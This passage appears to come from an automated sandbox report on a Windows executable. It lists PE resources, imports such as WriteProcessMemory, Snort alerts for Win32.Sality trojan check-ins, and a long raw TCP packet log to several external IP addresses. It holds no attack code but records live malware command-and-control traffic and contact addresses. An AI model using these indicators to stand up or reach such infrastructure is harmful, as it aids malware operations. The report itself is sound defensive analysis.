                                            RT_ICON0xe99c80x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088
                                            RT_ICON0x7c8580xea8empty
                                            RT_ICON0x7d7000x8a8empty
                                            RT_ICON0x7dfa80x6c8empty
                                            RT_ICON0x7e6700x568empty
                                            RT_ICON0x7ebd80x25a8empty
                                            RT_ICON0x811800x10a8empty
                                            RT_ICON0x822280x988empty
                                            RT_ICON0x82bb00x468empty
                                            RT_ICON0x830180xea8empty
                                            RT_ICON0x83ec00x8a8empty
                                            RT_ICON0x847680x6c8empty
                                            RT_ICON0x84e300x568empty
                                            RT_ICON0x853980x25a8empty
                                            RT_ICON0x879400x10a8empty
                                            RT_ICON0x889e80x988empty
                                            RT_ICON0x893700x468empty
                                            RT_ICON0x897d80xea8empty
                                            RT_ICON0x8a6800x8a8empty
                                            RT_ICON0x8af280x6c8empty
                                            RT_ICON0x8b5f00x568empty
                                            RT_ICON0x8bb580x25a8empty
                                            RT_ICON0x8e1000x10a8empty
                                            RT_ICON0x8f1a80x988empty
                                            RT_ICON0x8fb300x468empty
                                            RT_ICON0x8ff980xea8empty
                                            RT_ICON0x90e400x8a8empty
                                            RT_ICON0x916e80x6c8empty
                                            RT_ICON0x91db00x568empty
                                            RT_ICON0x923180x25a8empty
                                            RT_ICON0x948c00x10a8empty
                                            RT_ICON0x959680x988empty
                                            RT_ICON0x962f00x468empty
                                            RT_ICON0x967580x568empty
                                            RT_ICON0x96cc00x468empty
                                            RT_ICON0x971280xea8empty
                                            RT_ICON0x97fd00x8a8empty
                                            RT_ICON0x988780x6c8empty
                                            RT_ICON0x98f400x568empty
                                            RT_ICON0x994a80x25a8empty
                                            RT_ICON0x9ba500x10a8empty
                                            RT_ICON0x9caf80x988empty
                                            RT_ICON0x9d4800x468empty
                                            RT_ICON0x9d8e80xea8empty
                                            RT_ICON0x9e7900x8a8empty
                                            RT_ICON0x9f0380x6c8empty
                                            RT_ICON0x9f7000x568empty
                                            RT_ICON0x9fc680x25a8empty
                                            RT_ICON0xa22100x10a8empty
                                            RT_ICON0xa32b80x988empty
                                            RT_ICON0xa3c400x468empty
                                            RT_ICON0xa40a80xea8empty
                                            RT_ICON0xa4f500x8a8empty
                                            RT_ICON0xa57f80x6c8empty
                                            RT_ICON0xa5ec00x568empty
                                            RT_ICON0xa64280x25a8empty
                                            RT_ICON0xa89d00x10a8empty
                                            RT_ICON0xa9a780x988empty
                                            RT_ICON0xaa4000x468empty
                                            RT_ICON0xaa8680xea8empty
                                            RT_ICON0xab7100x8a8empty
                                            RT_ICON0xabfb80x6c8empty
                                            RT_ICON0xac6800x568empty
                                            RT_ICON0xacbe80x25a8empty
                                            RT_ICON0xaf1900x10a8empty
                                            RT_ICON0xb02380x988empty
                                            RT_ICON0xb0bc00x468empty
                                            RT_ICON0xb10280xea8empty
                                            RT_ICON0xb1ed00x8a8empty
                                            RT_ICON0xb27780x6c8empty
                                            RT_ICON0xb2e400x568empty
                                            RT_ICON0xb33a80x25a8empty
                                            RT_ICON0xb59500x10a8empty
                                            RT_ICON0xb69f80x988empty
                                            RT_ICON0xb73800x468empty
                                            RT_ICON0xb77e80x568empty
                                            RT_ICON0xb7d500x468empty
                                            RT_ICON0xb81b80xea8empty
                                            RT_ICON0xb90600x8a8empty
                                            RT_ICON0xb99080x6c8empty
                                            RT_ICON0xb9fd00x568empty
                                            RT_ICON0xba5380x25a8empty
                                            RT_ICON0xbcae00x10a8empty
                                            RT_ICON0xbdb880x988empty
                                            RT_ICON0xbe5100x468empty
                                            RT_ICON0xbe9780xea8empty
                                            RT_ICON0xbf8200x8a8empty
                                            RT_ICON0xc00c80x6c8empty
                                            RT_ICON0xc07900x568empty
                                            RT_ICON0xc0cf80x25a8empty
                                            RT_ICON0xc32a00x10a8empty
                                            RT_ICON0xc43480x988empty
                                            RT_ICON0xc4cd00x468empty
                                            RT_ICON0xc51380xea8empty
                                            RT_ICON0xc5fe00x8a8empty
                                            RT_ICON0xc68880x6c8empty
                                            RT_ICON0xc6f500x568empty
                                            RT_ICON0xc74b80x25a8empty
                                            RT_ICON0xc9a600x10a8empty
                                            RT_ICON0xcab080x988empty
                                            RT_ICON0xcb4900x468empty
                                            RT_ICON0xcb8f80xea8empty
                                            RT_ICON0xcc7a00x8a8empty
                                            RT_ICON0xcd0480x6c8empty
                                            RT_ICON0xcd7100x568empty
                                            RT_ICON0xcdc780x25a8empty
                                            RT_ICON0xd02200x10a8empty
                                            RT_ICON0xd12c80x988empty
                                            RT_ICON0xd1c500x468empty
                                            RT_ICON0xd20b80xea8empty
                                            RT_ICON0xd2f600x8a8empty
                                            RT_ICON0xd38080x6c8empty
                                            RT_ICON0xd3ed00x568empty
                                            RT_ICON0xd44380x25a8empty
                                            RT_ICON0xd69e00x10a8empty
                                            RT_ICON0xd7a880x988empty
                                            RT_ICON0xd84100x468empty
                                            RT_DIALOG0xd9d340xa0emptyChineseTaiwan
                                            RT_DIALOG0xd9dd40xeaemptyChineseTaiwan
                                            RT_DIALOG0xd9ec00x34emptyChineseTaiwan
                                            RT_STRING0xd9ef40x54emptyChineseTaiwan
                                            RT_STRING0xd9f480x2cemptyChineseTaiwan
                                            RT_STRING0xd9f740x90emptyChineseTaiwan
                                            RT_STRING0xda0040x1caemptyChineseTaiwan
                                            RT_STRING0xda1d00x13eemptyChineseTaiwan
                                            RT_STRING0xda3100xf6emptyChineseTaiwan
                                            RT_STRING0xda4080x52emptyChineseTaiwan
                                            RT_STRING0xda45c0x44emptyChineseTaiwan
                                            RT_STRING0xda4a00x70emptyChineseTaiwan
                                            RT_STRING0xda5100x21cemptyChineseTaiwan
                                            RT_STRING0xda72c0xeeemptyChineseTaiwan
                                            RT_STRING0xda81c0x24emptyChineseTaiwan
                                            RT_STRING0xda8400x30emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8700x22emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8940x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8a80x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8bc0x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8d00x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8e40x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda8f80x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda90c0x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda9200x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda9340x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda9480x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda95c0x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda9700x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda9840x14emptyChineseTaiwan
                                            RT_GROUP_CURSOR0xda9980x14emptyChineseTaiwan
                                            RT_GROUP_ICON0xe92e00x22data
                                            RT_GROUP_ICON0xda9ac0x76empty
                                            RT_GROUP_ICON0xdaa240x76empty
                                            RT_GROUP_ICON0xdaa9c0x76empty
                                            RT_GROUP_ICON0xdab140x76empty
                                            RT_GROUP_ICON0xdab8c0x76empty
                                            RT_GROUP_ICON0xdac040x22empty
                                            RT_GROUP_ICON0xdac280x76empty
                                            RT_GROUP_ICON0xdaca00x76empty
                                            RT_GROUP_ICON0xdad180x76empty
                                            RT_GROUP_ICON0xdad900x76empty
                                            RT_GROUP_ICON0xdae080x76empty
                                            RT_GROUP_ICON0xdae800x22empty
                                            RT_GROUP_ICON0xdaea40x76empty
                                            RT_GROUP_ICON0xdaf1c0x76empty
                                            RT_GROUP_ICON0xdaf940x76empty
                                            RT_GROUP_ICON0xdb00c0x76empty
                                            RT_GROUP_ICON0xdb0840x76empty
                                            RT_GROUP_ICON0xdb0fc0x76empty
                                            RT_GROUP_ICON0xdb1740x76empty
                                            RT_GROUP_ICON0xdb1ec0x76empty
                                            RT_GROUP_ICON0xdb2640x76empty
                                            RT_GROUP_ICON0xdb2dc0x76empty
                                            RT_GROUP_ICON0xdb3540x76empty
                                            RT_GROUP_ICON0xdb3cc0x84emptyChineseChina
                                            RT_MANIFEST0xe93040x15aASCII text, with CRLF line terminatorsEnglishUnited States

                                            Imports

                                            DLLImport
                                            KERNEL32.dlllstrcatA, InitializeCriticalSection, GetProcAddress, LocalFree, RaiseException, LocalAlloc, GetModuleHandleA, LeaveCriticalSection, EnterCriticalSection, DuplicateHandle, GetShortPathNameA, ResumeThread, WriteProcessMemory, GetPrivateProfileSectionA, GetStringTypeA, LCMapStringW, LCMapStringA, RtlUnwind, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW
                                            USER32.dllDefWindowProcA, AdjustWindowRectEx

                                            Possible Origin

                                            Language of compilation systemCountry where language is spokenMap
                                            ChineseTaiwan
                                            ChineseChina
                                            EnglishUnited States

                                            Network Behavior

                                            Snort IDS Alerts

                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                            192.168.2.337.230.104.8949720802804830 04/11/23-14:07:48.006949TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972080192.168.2.337.230.104.89
                                            192.168.2.363.251.106.2549699802804830 04/11/23-14:07:30.652648TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24969980192.168.2.363.251.106.25
                                            192.168.2.363.251.106.2549701802804830 04/11/23-14:07:31.836726TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970180192.168.2.363.251.106.25
                                            63.251.106.25192.168.2.380497012037771 04/11/23-14:07:32.006592TCP2037771ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst804970163.251.106.25192.168.2.3
                                            192.168.2.3206.191.152.5849698802804830 04/11/23-14:07:29.754464TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24969880192.168.2.3206.191.152.58
                                            192.168.2.378.46.2.15549703802804830 04/11/23-14:07:32.470703TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970380192.168.2.378.46.2.155
                                            192.168.2.363.251.106.2549724802804830 04/11/23-14:07:50.645696TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972480192.168.2.363.251.106.25
                                            192.168.2.363.251.106.2549716802804830 04/11/23-14:07:46.157639TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971680192.168.2.363.251.106.25
                                            192.168.2.3206.189.61.12649709802804830 04/11/23-14:07:42.027481TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970980192.168.2.3206.189.61.126
                                            192.168.2.378.46.2.15549727802804830 04/11/23-14:07:51.529651TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972780192.168.2.378.46.2.155
                                            192.168.2.363.251.106.2549718802804830 04/11/23-14:07:47.245790TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971880192.168.2.363.251.106.25
                                            192.168.2.3206.191.152.5849715802804830 04/11/23-14:07:45.241975TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971580192.168.2.3206.191.152.58
                                            192.168.2.363.251.106.2549710802804830 04/11/23-14:07:42.394782TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971080192.168.2.363.251.106.25
                                            192.168.2.337.230.104.8949728802804830 04/11/23-14:07:51.949311TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972880192.168.2.337.230.104.89
                                            192.168.2.3206.189.61.12649717802804830 04/11/23-14:07:46.475492TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971780192.168.2.3206.189.61.126
                                            192.168.2.337.230.104.8949704802804830 04/11/23-14:07:33.290905TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970480192.168.2.337.230.104.89
                                            192.168.2.3206.191.152.5849731802804830 04/11/23-14:07:53.402294TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973180192.168.2.3206.191.152.58
                                            192.168.2.3206.191.152.5849707802804830 04/11/23-14:07:40.848947TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970780192.168.2.3206.191.152.58
                                            192.168.2.3206.189.61.12649700802804830 04/11/23-14:07:31.152411TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970080192.168.2.3206.189.61.126
                                            192.168.2.378.46.2.15549719802804830 04/11/23-14:07:47.552319TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971980192.168.2.378.46.2.155
                                            192.168.2.378.46.2.15549711802804830 04/11/23-14:07:42.660250TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971180192.168.2.378.46.2.155
                                            192.168.2.3206.189.61.12649725802804830 04/11/23-14:07:50.964219TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972580192.168.2.3206.189.61.126
                                            192.168.2.363.251.106.2549732802804830 04/11/23-14:07:55.135799TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973280192.168.2.363.251.106.25
                                            192.168.2.3206.191.152.5849723802804830 04/11/23-14:07:50.093809TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972380192.168.2.3206.191.152.58
                                            192.168.2.337.230.104.8949712802804830 04/11/23-14:07:43.210687TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971280192.168.2.337.230.104.89
                                            192.168.2.363.251.106.2549726802804830 04/11/23-14:07:51.294252TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972680192.168.2.363.251.106.25
                                            192.168.2.363.251.106.2549708802804830 04/11/23-14:07:41.388921TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24970880192.168.2.363.251.106.25

                                            Network Port Distribution

                                            TCP Packets

                                            TimestampSource PortDest PortSource IPDest IP
                                            Apr 11, 2023 14:07:26.489490986 CEST4969880192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:29.502338886 CEST4969880192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:29.743613958 CEST8049698206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:29.745785952 CEST4969880192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:29.754463911 CEST4969880192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:29.995502949 CEST8049698206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:29.995676994 CEST8049698206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:29.995696068 CEST8049698206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:29.995836973 CEST4969880192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:30.020020008 CEST4969880192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:30.261101961 CEST8049698206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:30.461154938 CEST4969980192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:30.631016970 CEST804969963.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:30.631133080 CEST4969980192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:30.652647972 CEST4969980192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:30.822550058 CEST804969963.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:30.822586060 CEST804969963.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:30.822604895 CEST804969963.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:30.822623014 CEST804969963.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:30.822683096 CEST4969980192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:30.822746038 CEST4969980192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:30.838329077 CEST4969980192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:31.008147955 CEST804969963.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:31.069526911 CEST4970080192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:31.108220100 CEST8049700206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:31.109807968 CEST4970080192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:31.152410984 CEST4970080192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:31.191795111 CEST8049700206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:31.191823959 CEST8049700206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:31.191843987 CEST8049700206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:31.191961050 CEST4970080192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:31.247181892 CEST4970080192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:31.287703991 CEST8049700206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:31.644865990 CEST4970180192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:31.821192980 CEST804970163.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:31.821332932 CEST4970180192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:31.836725950 CEST4970180192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:31.901916027 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:32.006472111 CEST804970163.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:32.006592035 CEST804970163.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:32.006614923 CEST804970163.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:32.006756067 CEST4970180192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:32.006756067 CEST4970180192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:32.069274902 CEST4970180192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:32.098587990 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:32.239067078 CEST804970163.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:32.447046041 CEST4970380192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:32.468862057 CEST804970378.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:32.469089985 CEST4970380192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:32.470702887 CEST4970380192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:32.492419004 CEST804970378.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:32.492970943 CEST804970378.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:32.495331049 CEST4970380192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:32.612009048 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:32.808768034 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:33.240272045 CEST4970480192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.287765980 CEST804970437.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:33.287899971 CEST4970480192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.290904999 CEST4970480192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.315171957 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:33.338378906 CEST804970437.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:33.338665962 CEST804970437.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:33.338759899 CEST4970480192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.343915939 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.343985081 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:33.344096899 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.511863947 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:33.519834042 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:33.580220938 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.580259085 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:33.693494081 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:33.693645000 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:33.716681004 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:34.221518993 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:34.418358088 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:34.955955982 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:35.152785063 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:35.468322992 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:35.665360928 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:36.268537045 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:36.465240955 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:37.065568924 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:37.262240887 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:38.745655060 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:38.942306995 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:39.444617987 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.444675922 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.445108891 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.445219040 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.451447010 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.451519966 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.456434965 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:39.498321056 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.498440981 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.498528004 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.498554945 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.545663118 CEST49705443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.545702934 CEST4434970537.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.648751020 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.648816109 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.648936987 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.653053045 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:39.654752016 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:39.654793978 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.757194996 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:39.757345915 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.033135891 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.033184052 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.044399977 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.044441938 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.091218948 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.091303110 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.091331005 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.091398001 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.091404915 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.091429949 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.091447115 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.091502905 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.100454092 CEST49706443192.168.2.337.230.104.89
                                            Apr 11, 2023 14:07:40.100507021 CEST4434970637.230.104.89192.168.2.3
                                            Apr 11, 2023 14:07:40.268861055 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:40.465480089 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:40.468600035 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:40.534130096 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:40.665256977 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:40.775425911 CEST8049707206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:40.775628090 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:40.848947048 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:41.091861010 CEST8049707206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:41.091888905 CEST8049707206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:41.091933966 CEST8049707206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:41.091953039 CEST8049707206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:41.091970921 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:41.092016935 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:41.092016935 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:41.103754044 CEST4970780192.168.2.3206.191.152.58
                                            Apr 11, 2023 14:07:41.180412054 CEST4970880192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:41.268963099 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:41.345588923 CEST8049707206.191.152.58192.168.2.3
                                            Apr 11, 2023 14:07:41.350243092 CEST804970863.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:41.350431919 CEST4970880192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:41.388921022 CEST4970880192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:41.465626955 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:41.558837891 CEST804970863.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:41.559027910 CEST804970863.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:41.559046984 CEST804970863.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:41.559063911 CEST804970863.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:41.559170008 CEST4970880192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:41.559211016 CEST4970880192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:41.832417011 CEST4970880192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:41.845762014 CEST4970980192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:41.875699043 CEST8049709206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:41.875889063 CEST4970980192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:42.002579927 CEST804970863.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:42.027481079 CEST4970980192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:42.057255983 CEST8049709206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:42.057286024 CEST8049709206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:42.057302952 CEST8049709206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:42.057435989 CEST4970980192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:42.065927029 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:42.152972937 CEST4970980192.168.2.3206.189.61.126
                                            Apr 11, 2023 14:07:42.181691885 CEST4971080192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:42.182665110 CEST8049709206.189.61.126192.168.2.3
                                            Apr 11, 2023 14:07:42.263432026 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:42.351331949 CEST804971063.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:42.351603031 CEST4971080192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:42.393449068 CEST497025566192.168.2.3154.23.184.71
                                            Apr 11, 2023 14:07:42.394782066 CEST4971080192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:42.564199924 CEST804971063.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:42.564238071 CEST804971063.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:42.564311028 CEST804971063.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:42.564400911 CEST4971080192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:42.564464092 CEST4971080192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:42.590049982 CEST556649702154.23.184.71192.168.2.3
                                            Apr 11, 2023 14:07:42.608850002 CEST4971080192.168.2.363.251.106.25
                                            Apr 11, 2023 14:07:42.637299061 CEST4970380192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:42.638274908 CEST4971180192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:42.659077883 CEST804970378.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:42.659147978 CEST804971178.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:42.659275055 CEST4970380192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:42.659343004 CEST4971180192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:42.660249949 CEST4971180192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:42.681158066 CEST804971178.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:42.681406975 CEST804971178.46.2.155192.168.2.3
                                            Apr 11, 2023 14:07:42.681730986 CEST4971180192.168.2.378.46.2.155
                                            Apr 11, 2023 14:07:42.778928995 CEST804971063.251.106.25192.168.2.3
                                            Apr 11, 2023 14:07:43.159538984 CEST4970480192.168.2.337.230.104.89
